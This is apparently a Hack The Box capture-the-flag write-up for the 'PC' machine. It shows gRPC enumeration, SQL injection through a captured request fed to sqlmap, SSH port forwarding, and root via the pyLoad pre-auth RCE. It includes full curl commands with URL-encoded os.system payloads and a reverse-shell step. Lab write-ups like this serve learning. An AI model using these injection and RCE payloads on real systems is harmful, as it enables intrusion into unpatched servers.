3 minute read

Synopsis

PC is easy machine from hackthebox. in the initial foothold we can interact on port 50051 which is gRPC. we can use grpcui to get a good interface. then followed by registering the user using the login method. after logging in using the credentials we created, we can use get-info by filling in our id and token. capture the request and name the file pc.req. drop it into sqlmap so it does the rest. to get root privileges, there is a cve on the pyload. The content-length header has a big impact on the application pyload.

Portscan

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.92%I=7%D=6/30%Time=649F372B%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

GRPC

gRPC is a modern open source high performance Remote Procedure Call (RPC) framework that can run in any environment. i read about grpc running using port 50051, we can use grpcurl or grpcui for use interface instead.

tag -plaintext for connection without tls

grpcui -plaintext $target:50051

we can register in here then logged in use tester:tester in this case.

and we will retrieve token after that. use method get info then capture request with burp save it and let the sqlmap do the rest.

my request like below:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:34455
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: Sct2TMwrU2mYbQq3e2N0xJhO2ICQTbFx-yVpYUj5gp4
X-Requested-With: XMLHttpRequest
Content-Length: 215
Origin: http://127.0.0.1:34455
DNT: 1
Connection: close
Referer: http://127.0.0.1:34455/
Cookie: lang=en-US; remember_token=2|3028567ce92aa92bc374275d05caa7fa36e51f796f6f1f12423cf0df18359f7ab8c1fc75fff9af9b83b2294f03368376bbf685eb3ff347c34c0d8db097b573dd; _grpcui_csrf_token=Sct2TMwrU2mYbQq3e2N0xJhO2ICQTbFx-yVpYUj5gp4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"timeout_seconds":1,"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdGVyIiwiZXhwIjoxNjg4MTY3OTcxfQ.qujbZNDV87BlQnPKOMKh1wJ74qe-CAIVL745OyKt9Zo"}],"data":[{"id":"212'"}]}

sqlmap command for dump databases

sqlmap -r pc.req --batch --dump

result from sqlmap

from now we can login via ssh for stable shell

execute command ss -tln for check interface running on localhost

found port 8000 running in localhost, forwarding port 8000 using ssh with command:

ssh sau@$target -L 8000:127.0.0.1:8000

login with admin:admin or sau:password withouth any luck. pyLoad was developed to run on NAS, next-gen routers and headless home servers, whatever device able to connect to internet and supporting the Python programming language, so it’s available for all kind of operating systems and a wide range of hardware platforms; you can even install on your PC or Mac if you want and control it entirely by web in the same way.

execute this command below will make a file with name pwned in folder /tmp

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

this exploit need url encoding, so im gonna make reverse shell on /tmp folder given name exploit contain:

so with that we can gain root access easily, im telling you if you struggle with this stuff. the key is on CONTENT-LENGTH header. Because payload that can be used is relative long or short. in this case my payload before url-encoding:

pyimport os;os.system("/bin/bash /tmp/exploit")

so im tried to increase the content-length into 200 and get the shell. if you dont increase the header, it wont work.

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 200' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%2f%62%69%6e%2f%62%61%73%68%20%2f%74%6d%70%2f%65%78%70%6c%6f%69%74%22%29;f=function%20f2(){};&passwords=aaaa' \
	$'http://127.0.0.1:8000/flash/addcrypted2'

Refferencess

https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
https://pyload.net/
https://www.picussecurity.com/resource/blog/waf-bypass-using-json-based-sql-injection-attacks
https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
https://www.revshells.com/
https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/